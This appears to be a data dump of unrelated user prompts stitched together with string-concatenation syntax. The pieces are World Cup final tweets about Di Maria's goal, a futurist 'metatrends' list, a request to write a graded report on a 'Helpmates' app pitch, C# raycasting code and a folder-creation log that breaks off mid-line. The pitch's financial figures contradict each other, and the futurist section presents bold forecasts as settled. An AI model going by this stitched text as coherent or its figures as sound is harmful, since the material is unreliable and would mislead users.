beauty ???????? 15:36:22.0000000\nWoooooo Argentina second goal is ?????? great finish by Di Maria 15:36:57.0000000\n?? #WorldCup | #Qatar2022''? 36' | GOAL!!! Angel Di Maria doubles Argentina's lead!''#ARG 2-0 #FRA ''#Selecci?nMayor #FiersdetreBleus #ARGFRA https://t.co/M64jzboGG8 15:36:06.0000000\nWe want another one just like the other one!!!! Beautiful goal!!!! Di Mar?a!!! #ArgentinaVsFrance #FIFAWorldCupFinal ???????????? 15:36:48.0000000\nHe has been the best player on the pitch and he gets another finals goal''Di Maria ''#ArgentinaVsFrance #WorldCupFinal 15:36:38.0000000\nDI MARIA WHAT A GOAL ( I still fucking hate Argentina 15:36:23.0000000\nI knew Di Maria was definitely going to give Argentina a goal!?? 15:36:31.0000000\nBrilliant goal from Argentina. Di Maria. 2-0 Argentina. 15:36:53.0000000\nWhinge all you want about the penalty. There's no denying that Di Maria's goal was ??????''#ArgentinaVsFrance #WorldCup #FIFAWorldCupFinal https://t.co/2DGSE5mCM0 15:36:31.0000000\nArgentina is dominating!''Di Maria Goal!''Argentina 2 - 0 France'#ArgentinaVsFrance 15:36:52.0000000\nDi Maria with the second goal'Argentina 2 - 0 France #FRAARG #FIFAWorldCupFinal 15:36:24.0000000\nGoal for Argentina ??'Argentina 2:0 France ????'??36’ Di Maria ''#EIBQATAR2022 https://t.co/kNI4ODuxg6 15:36:39.0000000\nGoal number 2 for Argentina!!!''Di Maria ??????. https://t.co/aJQG3SKGZ1 15:36:58.0000000\nDi maria what a goal, what a counter #FIFAWorldCup #ArgentinaVsFrance 15:36:59.0000000\nDi Maria Goal! But it's FIFA that scored as some will say ??????'#Messi #ArgentinaVsFrance #FIFAWorldCup 15:36:49.0000000\nDi Maria! What a glorious goal! ???? has got this final! #ArgentinaVsFrance 15:36:28.0000000\nWhat a counter and goal. Di Maria make it 2-0 wow! #WorldCupFinal 15:36:32.0000000\nWhat a Goal Di Maria'#FIFAWorldCupFinal '#ArgentinaVsFrance 15:36:41.0000000\nAlmost my favourite D Maria....what a Goal...#FIFAWorldCup #ArgentinaVsFrance #WorldCup 15:36:35.0000000\nDi Maria deserves this goal. Excellent work today. #ArgentinaVsFrance #WorldCup #FIFAWorldCup 15:36:42.0000000\nDi Maria ''2-0 ''Beautiful goal from Argentina! 15:35:59.0000000\nGOOOOOOOAAAL!!! ''Di Maria doubles the lead for Argentina. What a beautiful team goal. ''Argentina ???? 2???0?? France ???? ''#FifaWorldCup 15:36:50.0000000\nThat was a just goal! Di Maria is really good right now #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nFinally a nice open play goal from Argentina as opposed to the spot special . Di Maria been the best player thus far today 15:36:42.0000000\nGoal Di Maria!!!! Argentina up 2-0 and France is looking sluggish on offense 15:36:55.0000000\nBrilliant goal, Di Maria is that guy for Argentina 15:36:25.0000000\n36’ GOAL! DI MARIA ON THE COUNTER ATTACK! #FIFAWorldCup''Argentina 2-0 France 15:36:00.0000000\nGOAL 2-0 Argentina! a counter-attack at speed and Di Maria finishes things off. #ARG #FRA #FIFAWorldCup 15:35:51.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nGOAL!!!''A lightning break and Angel Di Maria has Argentina two goals up on 35 minutes!''#ARG 2-0 #FRA ''#FIFAWorldCup | #Qatar2022''https://t.co/UmozTF3WiK 15:36:02.0000000\n@sportv All the talk of Messi but do Maria makes this Argentina team and attack so much better and he been the best player so far and deserved that goal 15:36:17.0000000\nArgentina looking like they want it more. Great goal Di Maria 15:36:11.0000000\n2-0. Di Maria. What a goal! Absolutely dominating #FRA #ArgentinaVsFrance #FIFAWorldCup #WorldCup #ARG 15:36:40.0000000\nWhat a goal !!!!'Argentina 'Di Maria!!!!! 15:36:30.0000000\nDi Maria deserves a goal.'Brilliant! #ArgentinaVsFrance 15:36:44.0000000\nWow what a goal. 2-0, Di Maria and game over imo cos France are shite so far. Need a response before half time otherwise its gone. #ArgentinaVsFrance #FIFAWorldCupFinal 15:36:36.0000000\nGame over already? Superb goal by Di Maria and Argentina! #ARGFRA #FIFAWorldCupFinal 15:35:58.0000000\ntotally deserved, Argentina competing dominating. Di Maria is playing so good as well so nice he got the goal '#ARGFRA #FIFAWorldCup 15:36:51.0000000\nDo Maria!!!!! Goal!!!!!! Argentina!!!! 15:36:29.0000000\nGuess that counter attack and goal by Di Maria was rigged too?? Lol'#WorldCupFinal #ArgentinaVsFrance 15:36:21.0000000" +'Among the TOP 20 METATRENDS & MOONSHOTS. I am giving further description for each trend for you consider. description for trends 11-20 is here below. \n11. Emergence of Web3/Metaverse (AI + VR/AR + Blockchain)\n \nCitibank estimates that the metaverse could be worth $13 trillion by 2030 and have up to 5 billion users. While Web2 allowed us to transfer data in the form of documents, photos and videos, Web3 will emerge as the internet of value, built on blockchain, NFTs, DAOs, and the metaverse allowing us to transmit ownership. The metaverse is a social and ownership layer on the internet, providing self-sovereign identity, connecting people, places, and things. It provides guaranteed authenticity and chain of title (ownership) across time and space via blockchain. Web3/ Metaverse is powered by a combination of VR/AR, 5G networks, blockchain, and AI. It will transform how we live our everyday lives, impacting every industry from retail and advertising, to education and entertainment. This decade: “Artists and storytellers will be to Web3 what software engineers were to Web2.”\n \n12. High-Resolution VR Will Reinvent Commerce & Collaboration\n \nHigh resolution, low-weight VR headsets in combination with high-bandwidth connec- tivity and AI generated imagery will allow anyone to shop for everything from cloth- ing to real estate from the convenience of their living room in a fun and highly effi- cient manner. Need a new outfit? Your AI knows your detailed body measurements and can whip-up a fashion show featuring multiple copies of your avatar wearing the latest 20 designs on a runway. Want tomsee how your furniture might look inside a house you’re viewing online? No problem, your AI can show you, and give you a tour.\nPerhaps more important than commerce is the impact these technologies will have on the future of collaboration and work. While functional, such first-generation collaboration technologies completely lacked the social elements of the traditional workplace, making them less than adequate. Driven by this innate human need, a new generation of virtual and fully-immersive collaboration environments will arrive mid-decade following the release of Apple’s AR/VR headset and the next generation META Oculus gear.\n \nEarly versions of this virtual group workplace will enable you to choose youravatar and surrounding, interact with friends, co-workers and AI-bots. This Metatrend is en- abled through the convergence of VR, machine learning, and high-bandwidth networks.\n \n \n13. CRISPR/Gene Therapies\n \nCRISPR is becoming a potent gene-editing tool capable of correcting gene-mediated age-related disease, thereby ameliorating symptoms and/or ‘curing’ diseases. CRISPR has the potential to address cancer, neuro-degenerative and inflammatory diseases. CRISPR and other gene therapies also have the potential to treat or cure a vast range of infectious diseases ranging from AIDS and Ebola. Finally, and perhaps most profound, as gene-editing technologies continue to increase both their precision and ease of use, they will allow families to treat and ultimately cure hundreds of inheritable genetic diseases ranging from hemophilia and sickle-cell anemia to transthyretin amyloidosis (a fatal liver disease) and Huntington’s disease. CRISPR also holds vast potential to enable the de-extinction of lost species. Founded by Ben Lamm and George Church, PhD, Colossal Biosciences is using CRISPR \n\n \ntechnology to bring back the woolly mammoth and other species. This Metatrend is enabled through the convergence of various biotechnologies (CRISPR, Gene Therapy), genome sequencing, and AI.\n \n14. Increased Human Healthspan\n \nA dozen game-changing biotech and pharmaceutical solutions (currently in Phase 1, 2, or 3 clinical trials) will reach consumers this decade, adding an additional 10+ years to the human healthspan. Aging will increasingly be categorized as a disease, thereby driving increased research towards stopping and/or reversing ageing with a goal of adding 30+ healthy years in the decade that follows. Various technologies will be developed to address the 9 hallmarks of aging.\n \nCompanies such as Vaxxinity (combating heart disease and strokes with a PCSK9 vaccine), Celularity (using placenta derived stem-cell replenishment), Immunis (delivering immune system pre-cursors and growth factors), Elevian (producing GDF-11) and a multitude of other entrepreneurial efforts. Gene therapy will be used to edit or replace defective genes as a way to correct for genetic disorders. Cell therapy (the addition of autologous and allogeneic stem cells) will be used to replace or augment a patient’s stem cells population. A combination of Senolytic medicines, natural killer cells and vaccines will be used eliminate senescent ‘zombie’ cells which cause inflammation.\n \nCellular reprogramming using a combination of “Yamanaka factors” will be used to reverse epigenetics of cells and thereby their biologic age. Technologies such as wnt pathway modifiers, endo-vaccines, and supplementation of NMN/ NAD+ are among other treatments that wil impact healthspan. This Metatrend is driven by the convergence of genome sequencing, CRISPR technologies, AI, quantum computing, and cellular medicines.\n15. Demonetized, Democratized & Preventative Healthcare\n \nThis re-invention is illustrated by two specific trends: First, the transition of healthcare from the hospital and doctor’s office into the home. Biometric sensors on our bodies (wearables), in our bodies (implantables and consumables) and in our environment (home and office) will feed continuous data to our medical-AIs, and through them to our physicians. Such continuous monitoring will enable medicine to transition from reactive, to preventative, allowing disease to be detected at its earliest stages. The second trend involves increased use of AI as our primary diagnostician and health coach enabling medicine to be further democratized and demonetized. In the following decade, increasing capabilities of robotics, enabled by AI, will allow for robotic surgery and democratized and demonetized point-of-care treatment.\n \n \n16. Globally-Abundant, Cheap Renewable Energy\n \nContinued advances in solar, wind, geothermal, hydroelectric, and fusion power, along with localized grids, will continue to drive humanity towards cheap, abundant, and ubiquitous renewable energy. The price per kilowatt-hour will continue to drop at the same time that energy storage drops below 3-cents/ kilowatt-hour. The result will be the continued displacement of fossil fuels globally. The world’s poorest countries are also the world’s sunniest countries, accordingly driving humanity towards an age of energy abundance.\n17. Increased Focus on Sustainability & Carbon\n \nAn increase in global environmental awareness and concerns over global warming will drive companies to focus on sustainability both from a necessity and from a marketing point of view. Breakthroughs in material sciences and AI will allow companies to drive improvements in carbon-capture and recycling waste of all type. A wide range of new technologies, coupled with policy changes and economic incentives, will move humanity towards gigaton carbon capture. All industries from computing to food production will feel increasing pressure to develop low-carbon-footprint alternatives to their current methodologies and infrastructure. This Metatrend is enabled through the convergence of material sciences, AI, and broadband networks.\n \n18. Cellular Agriculture & Vertical Farming\n \nThis next decade we will witness the birth of the most ethical, nutritious, and environmentally sustainable protein production system devised by humankind. Referred to as Stem-cell based meat, cellular agriculture or Cell-based meat, the cost of producing a single molecule of cell-based beef burger has fallen from $1M/kg in 2000 to about $100/kg in 2020.\nThis cost is expected to fall below $10/kg by 2025, thus creating a mass-market cost-equivalent way of replacing beef at minimal environmental cost and reducing animal slaughter. Similar price reduction is being seen in Stemcell-based chicken and fish. This technology will allow the production of beef, chicken, and fish anywhere, on-demand, and will be more nutritious and environmentally friendly than traditional live-stock options. Vertical farms offer an innovative and flexible solution to global agricultural challenges such as volatility due to climate changes, droughts and floods. Studies show that vertical farming is not only more nutritious, but can produce up to four food-production cycles of food per year, something that is impossible in traditional agriculture. It can also reduce the transport costs of food because it is produced in close proximity to the point of consumption.\nFinally, vertical farming will also reduce the need for pesticides.This Metatrend is enabled through the convergence of biotechnology, material sciences, machine learning and AgTech.\n \n \n19. Onshoring Manufacturing & Offshoring Labor\n \nThe disruption in supply chains and the labor market caused by the Covid-19 pandemic drove a global shift towards on-shoring manufacturing. The use of robotics, 3D printing and advanced automation has allowed western companies to “on-shore” production at a reasonable cost, shifting away from lower-cost Asian production facilities. \nThis shift has allowed companies to concurrently “own their supply chain” and reduce shipping costs and timelines. At the same time, collaboration technologies such as Zoom and Slack are allowing companies to off-shore their talent, expanding access to highly sought-after experts globally \n\n20. Increasing Global Abundance\n \nWhile we will witness some temporary ups and downs in the wake of future recessions, the overall trend will likely continue upwards. \nCapital abundance leads to the funding and testing of “crazy” entrepreneurial ideas, which in turn accelerates innovation. In the decade ahead, the number of individuals in extreme poverty will continue to drop, as the middle-income population continues to rise, continuing a metatrend that has existed for much of the past century. \nEveryday goods and services (finance, insurance, education, healthcare and entertainment) are being digitized and becoming demonetized and democratized, available to billions on digital devices. This Metatrend is driven by the convergence of high-bandwidth/low-cost communication, ubiquitous AI on the cloud, growing access to AI-aided education, and AI-driven healthcare.' +"I need your help with my assignment. I need to evaluate a venture pitch and write a report on it. I will first provide you with the group pitch, and then the assignment instructions so you can complete my assignment to help me achieve the highest possible grade. Below is the group pitch. Reply to this with 'yes' if you understand:\n\nHelpmates: A holistic app that provides services for working professionals\n\nTable of Contents:\n1. Executive Summary\n2. The Why\n3. The Context\n4. Business Model Canvas\n5. Product-Market Positioning\n6. Business Ecosystem\n7. Financials\n8. Implementation\n9. The Ask\n\n1. Executive Summary:\nProblem Addressed:\n• Currently, most service providers operate independently, on specific platforms or by word of mouth.\n• Helpmates brings all service providers onto one, easy-access platform.\n• Consumers will benefit from an all-encompassing platform which facilitates the finding of service providers.\nThe Platform:\n• An app which connects service providers with consumers:\no Consumers view range of services and service providers\no Consumers pick providers based on profile including ratings, location and price\no Consumers can book slots or message providers\n• Mainly monetized through commissions and advertisements\nThe Launch:\n• Launch in Sydney in 2023 amongst higher income customer segments, starting for household tasks (cleaning, gardening, plumbing, carpenting, etc.)\n• View to expand rapidly into other services once a strong service provider and customer base is established.\n\n2. The Why:\nWe came up with the idea of Helpmates out of personal experiences and by witnessing a gap in the market for a holistic services app. An app like Helpmates is specifically made for working professionals who are on a time crunch offering one click solutions for all household problems. The increasing number of working professionals and the fast-paced corporate culture laid down the need for an app like Helpmates. This is the only app currently in the market that offers hassle-free solutions and booking for top certified professionals.\n\n3. The Context:\nAccording to the PESTEL AND Porter's 5 Forces analyses:\n• Australia is a fast-growing economy and citizens are always looking for ways to save time.\n• Australia is an early adopter of technology making Helpmates easy to be implemented in the society.\n• The service industry is fast paced and ever changing and an app like Helpmates can help bring a wave of change in which people use professional services.\n• The service industry has significant potential. Helpmates provides high quality services at the best prices that the market has to offer.\n\n4. Business Model Canvas:\nKey Partners:\n• Freelancers\n• Local communities\n• Small businesses\n• Software developers\nKey Activities:\n• Connect service providers with customers\n• Encourage freelancing\nKey Resources\n• Large no. of users & service providers\n• Capital\n• App developer\nCost Structure:\n• Software Development cost\n• App Operating cost\n• Marketing cost\nValue Proposition:\n• Easy and flexible service\n• Easily accessible\n• Trust\n• Creating new income/job opportunities\nCustomer Relationships:\n• Customer service\n• Feedback/ratings\nChannels:\n• LinkedIn\n• Community\n• Facebook groups\n• Social media\nCustomer Segments:\n• Service users\n• Busy professionals\n• New-to-community service providers\n• Freelancers\n• Small businesses\n• Students\nRevenue Streams:\n• Commissions\n• Advertisements\n• Service Provider Boost (to show providers on top of list)\n\n5. Product-Market Positioning:\nProblems Customers Faced:\n• One Sided Platform: Supplier-oriented only or consumer-oriented only\n• Lack of Connection: Hard to find out service suppliers or service consumers\n• Lack of Efficiency: Long waiting time for reply and service delivery\n• Diverse Channels: Various platforms for different types of service\n• Lack of Accessibility: Difficult access to the service provider\n• Lack of Supply: Lack of personal services in wider areas\nMarket Positioning:\n• Target Market:\no Personal Service (including all types of personal services)\no Initial Focus: Low-skilled + High Demand (Clean/Housekeeping,\no Cafe/Restaurant, etc.)\n• Customers Segments:\no Service Suppliers - Everyone who needs services\no Service Consumers - Everyone who is willing to provide services\n• Early Adopter Target Customers:\no Service Suppliers: Freelancers & Students\no Service Consumers: New to community & Small businesses\n• Advantages/Values:\no Inclusivity & diversity (service coverage & user coverage)\no Strengthening community connection\no Empowering users to develop skills and gain jobs\no Guaranteed for services and payments\n\n6. Business Ecosystem:\nService Suppliers:\n• Freelancers\n• Students\n• Professional Workers\n• Anyone who is willing to\nprovide services\nService Consumers:\n• Busy Professionals\n• New to Community\n• Small Businesses\n• Anyone who needs services\nPotential Partners:\n• Investment Companies\n• Consultancy Agencies\n• Technic Supporting Agencies\n• Public/Governmental Welfare Organizations\n• Local Communities\n• Pension Agencies\n• Other Non-profit Organizations\nAdvertising Channels:\n• Searching Engines: Google\n• Social Media Platforms: Facebook, Instagram, Twitter, Tiktok\n• Streaming Media Platforms: Netflix, YouTube, Amazon Prime Video, Disney+\n• News Media/Newspapers\n\n7. Financials (Assumption):\nRealistic:\n• Monthly Traffic: 15,000\n• Conversion Rate: 30%\n• Average Transaction: $200\n• Monthly Sales Revenue: $900,000\n• Commission: 8%\n• Monthly Projected Income: $72,000\n• Number of Labor Supply: 1,000\n• Percentage Starter Boost: 5%\n• Starter Boost Fee: $800\n• Monthly Starter Boost Income: $40,000\nIdeal:\n• Monthly Traffic: 30,000\n• Conversion Rate: 30%\n• Average Transaction: $200\n• Monthly Sales Revenue: $2,400,000\n• Commission: 8%\n• Monthly Projected Income: $144,000\n• Number of Labor Supply: 2,000\n• Percentage Starter Boost: 10%\n• Starter Boost Fee: $1,000\n• Monthly Starter Boost Income: $200,000\n\n8. Financials:\nRevenue (Monthly):\n• Commission (0.5% Growth Rate per month assumed): $72,000\n• Starter Boost: $40,000\n• Advertisement: $5,000\nUpfront Costs:\n• Development Cost: $30,000\n• Uptake Cost: $20,000\nMonthly Costs:\n• Operating Cost: $10,000\n• Marketing Cost: $5,000\n2024 Total Revenue:\n• Total Revenue: $703,160\no Advertisement: $5,000\no Starter Boost: $40,000\no Commission: $72,000\nRevenue Projections:\n• Jan: $52,000\n• Feb: $57,360\n• Mar: $57,722\n• Apr: $58,085\n• May: $58,451\n• Jun: $58,818\n• Jul: $59,187\n• Aug: $59,558\n• Sep: $59,931\n• Oct: $60,306\n• Nov: $60,682\n• Dec: $61,060\n\n9. Implementation:\nLean Startup Method:\n1. Assumptions:\n• Freelancers need more jobs\n• Busy working individuals need more help with house services\n• Time consuming to search for help with some services\n2. Survey (Current Status):\n• Survey the interest and needs of the target customer\n• Target working professionals, Sydney CBD, LinkedIn, and survey small business and freelancers to know if they are interested\n3. Analyze the data (April 2023):\n• Above 70% positive results \uf0e0 move ahead with MVP for all the questions\n• Less than 70% → Pivot makes changes to meet customer needs\n4. Design MVP (July 2023):\n• App with basic features\n• Small area - Sydney CBD\n• Most commonly needed services\n• Partner with freelancers to join the platform\n• Feedback Included\n• Spread the word using LinkedIn\n5. Persist/Pivot/Perish (October 2023):\n• Success Criteria: Good Feedback (80% or 4+ star rating); at least 40-50 customer signups and transactions per month for the first 2 months; good User Growth\n• PIVOT: Only 50% positive feedback or ~less than 40 Users.\n• PERISH: 70% Negative feedback or ~10 Users; no User Growth.\n\n10. Implementation (Continued):\nCurrent Status:\n• Created a survey\n• Sending the survey to currently working professionals\n• Receiving feedback and interest in our app\n• Survey on LinkedIn as it has a large number of working professionals who have busy lives and would need help to maintain their house or other home services\nMVP Test:\n• App developer\n• UX/UI designer\n• Funding through bootstrapping\n• Gain a large number of users to test the product\n\n11. The Ask (Investment Proposal):\nThe Opportunity:\n• Invest in Helpmates pre-launch\n• App to aggregate and simplify searching for a large variety of services in one easy-access platform\n• Promoting accessible casual and freelance employment\n• Simple and low cost platform with potential for large commission based earnings\nOffer:\n• Investment of $50,000 for 10% equity\nUse:\n• $30,000 investment in targeted marketing for Sydney home service providers\n• $20,000 incentives and referral bonus for launch to increase service providers\nDesired Outcome:\n• Large-scale influx of service providers in the area to increase offering for customers\nAdditional Requests:\n• Networking with digital marketing professionals\n• Networking with a SaaS CTO to help drive the and UI/UX\nNext Steps:\n• Increase service types offering (e.g. babysitting, tutoring, bartending, hairdressing, etc.)\n• Expand into new regions with initial investments and incentives to boost app uptake\n• Continue spending 30% of revenue on marketing in order to expand the business and grow users" +'using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\nusing Love;\n\nnamespace LoveCSharp\n{\n class Program : Scene\n {\n public Player player1;\n public static float deltaTime;\n static void Main(string[] args)\n {\n Boot.Init();\n Boot.Run(new Program());\n }\n public override void Load()\n {\n World.Generate(20,20);\n player1 = new Player(5, 5);\n\n // Love.Mouse.SetVisible(false);\n // Love.Mouse.SetGrabbed(true);\n Love.Mouse.SetRelativeMode(true);\n \n }\n public override void Draw()\n {\n Ray.Draw(player1.x, player1.y, Ray.distance, player1.angle, player1.fov);\n World.Draw();\n player1.Draw();\n \n }\n public override void Update(float dt)\n {\n deltaTime = dt;\n player1.Update(dt);\n Ray.Update(player1.x, player1.y, player1.angle, player1.fov);\n if (Love.Keyboard.IsDown(KeyConstant.Escape))\n {\n Love.Event.Quit();\n }\n }\n public override void MouseMoved(float x, float y, float dx, float dy, bool istouch)\n {\n player1.Rotation(dx);\n }\n }\n public enum TileType\n {\n None,\n Block,\n }\n public class World\n {\n public static int width;\n public static int height;\n public static int scale = 10;\n public static TileType[,] tiles;\n public static void Generate(int width = 20, int height = 20)\n {\n World.width = width;\n World.height = height;\n\n TileType[,] tiles = new TileType[width, height];\n\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n tiles[x, y] = TileType.Block;\n }\n }\n for (int x = 0; x < width; x++)\n {\n \n for (int y = 0; y < height; y++)\n {\n if ((x > 0 && x < width - 1) && (y > 0 && y < height - 1))\n {\n tiles[x, y] = TileType.None;\n }\n }\n }\n // Generate a random number of TileType blocks in the world (tiles)\n Random random = new Random();\n int blockCount = random.Next(10, 20);\n for (int i = 0; i < blockCount; i++)\n {\n int x = random.Next(0, width);\n int y = random.Next(0, height);\n tiles[x, y] = TileType.Block;\n }\n \n World.tiles = tiles;\n }\n public static void Draw()\n {\n Graphics.SetColor(Color.White);\n Graphics.Rectangle(DrawMode.Line, 0, 0, width \\* scale, height \\* scale);\n\n Graphics.SetColor(Color.Firebrick);\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n if (tiles[x, y] == TileType.Block)\n {\n Graphics.Rectangle(DrawMode.Fill, x \\* scale, y \\* scale, scale, scale);\n }\n }\n }\n }\n }\n public class Player\n {\n public float x, y, w, h, speed, angle, directionX, directionY;\n public float sensitivity = 0.3f;\n public int fov = 60;\n public Player(float x, float y, float w = 30, float h = 50, float speed = 1, float angle = 0)\n {\n this.x = x;\n this.y = y;\n this.w = w;\n this.h = h;\n this.speed = speed;\n this.angle = angle;\n }\n public void Draw()\n {\n Graphics.SetColor(Color.AliceBlue);\n Graphics.SetPointSize(3);\n Graphics.Points(this.x \\* World.scale, this.y \\* World.scale);\n Graphics.SetColor(Color.White);\n Graphics.Print("X: " + this.x + " Y: " + this.y, 0, 0);\n Graphics.Print("Angle: " + this.angle, 0, 20);\n }\n public void Update(float dt)\n {\n Movement(dt);\n\n }\n\n private void Movement(float dt)\n {\n float directionX = 0;\n float directionY = 0;\n if (Keyboard.IsDown(KeyConstant.W))\n {\n directionY = -1;\n }\n if (Keyboard.IsDown(KeyConstant.S))\n {\n directionY = 1;\n }\n if (Keyboard.IsDown(KeyConstant.A))\n {\n directionX = -1;\n }\n if (Keyboard.IsDown(KeyConstant.D))\n {\n directionX = 1;\n }\n\n float rotatedDirectionX = (float)Math.Cos(this.angle) \\* directionX - (float)Math.Sin(this.angle) \\* directionY;\n float rotatedDirectionY = (float)Math.Sin(this.angle) \\* directionX + (float)Math.Cos(this.angle) \\* directionY;\n\n float directionLength = (float)Math.Sqrt(rotatedDirectionX \\* rotatedDirectionX + rotatedDirectionY \\* rotatedDirectionY);\n if (directionLength > 0)\n {\n rotatedDirectionX /= directionLength;\n rotatedDirectionY /= directionLength;\n }\n\n this.x += rotatedDirectionX \\* this.speed \\* dt;\n this.y += rotatedDirectionY \\* this.speed \\* dt;\n }\n public void Rotation(float dx)\n {\n this.angle += dx \\* sensitivity \\* Program.deltaTime;\n \n }\n }\n public class Ray\n {\n public static float distance;\n\n public static float Cast(float x, float y, float centerAngle, float fov)\n {\n float startX = x;\n float startY = y;\n string section;\n float quality = 0.1f;\n int screenWidth = 800;\n int screenHeight = 600;\n\n for (float angle = centerAngle - fov / 2; angle < centerAngle + fov / 2; angle += Quality(fov, quality, screenWidth))\n {\n float endX = (float)(startX + Math.Cos(angle) \\* 1000);\n float endY = (float)(startY + Math.Sin(angle) \\* 1000);\n\n section = FacingSection(angle);\n\n if (section == "NE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "NW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SW")\n {\n for (float i = startX; i > endX; i -= quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n else if (section == "SE")\n {\n for (float i = startX; i < endX; i += quality)\n {\n float j = (float)(startY + (i - startX) \\* Math.Tan(angle));\n if (World.tiles[(int)i / World.scale, (int)j / World.scale] == TileType.Block)\n {\n distance = Distance(startX, startY, i, j);\n return distance;\n }\n }\n }\n }\n return 0;\n }\n public static string FacingSection(float angle)\n {\n string facing = "";\n if (angle >= 0 && angle < Math.PI / 2)\n {\n facing = "NE";\n }\n else if (angle >= Math.PI / 2 && angle < Math.PI)\n {\n facing = "NW";\n }\n else if (angle >= Math.PI && angle < 3 \\* Math.PI / 2)\n {\n facing = "SW";\n }\n else if (angle >= 3 \\* Math.PI / 2 && angle < 2 \\* Math.PI)\n {\n facing = "SE";\n }\n return facing;\n }\n public static float Quality(float fov, float quality, float screenWidth)\n {\n \n // float angle = fov / screenWidth;\n // quality = angle / quality;\n // return quality;\n float angleBetweenRays = fov / screenWidth;\n float qualityAngle = (float)Math.Atan(quality / 2);\n float qualityAngleBetweenRays = qualityAngle / angleBetweenRays;\n return qualityAngleBetweenRays;\n }\n\n public static float Distance(float x1, float y1, float x2, float y2)\n {\n float distance = (float)Math.Sqrt((x2 - x1) \\* (x2 - x1) + (y2 - y1) \\* (y2 - y1));\n return distance;\n }\n\n public static void Draw(float x, float y, float distance, float angle, float fov)\n {\n \n float angleBetweenRays = fov / 800;\n float distanceToProjectionPlane = 800 / (2 \\* (float)Math.Tan(fov / 2));\n float distanceToWall = distance;\n float distanceToProjectionPoint = distanceToWall \\* (float)Math.Cos(angleBetweenRays);\n distanceToProjectionPlane = distanceToProjectionPoint \\* distanceToProjectionPlane / distanceToWall;\n float height = 600 / distanceToProjectionPlane;\n float width = 1;\n float color = 255 / distanceToWall;\n Graphics.SetColor(Color.FromRGBA(color, color, color, 255));\n Graphics.Rectangle(DrawMode.Fill, x, y - height / 2, width, height);\n \n\n }\n public static void Update(float x, float y, float angle, float fov)\n {\n Cast(x, y, angle, fov);\n \n \n }\n }\n}' +'same issue, got all the dir and files but wrong structure\n\nCurrent working directory: C:\\Users\\JonRowe\\Documents\\Scripts\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/index.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/LegalHoldForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/LegalHoldListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/CustodianForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/CustodianListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/NotificationForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/NotificationListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/PolicyForm.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/PolicyListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/AuditLogListPage.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/LegalHoldSummary.js\nCreated directory: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/LegalHoldsContainer.js\nCreated file: C:\\Users\\JonRowe\\Documents\\Scripts\\legal-hold-app/src/api/components/LegalHolds/Custodians/Notifications/Policies/AuditLogs/Dashboard/containers/CustodiansContainer.js\nCreated file: 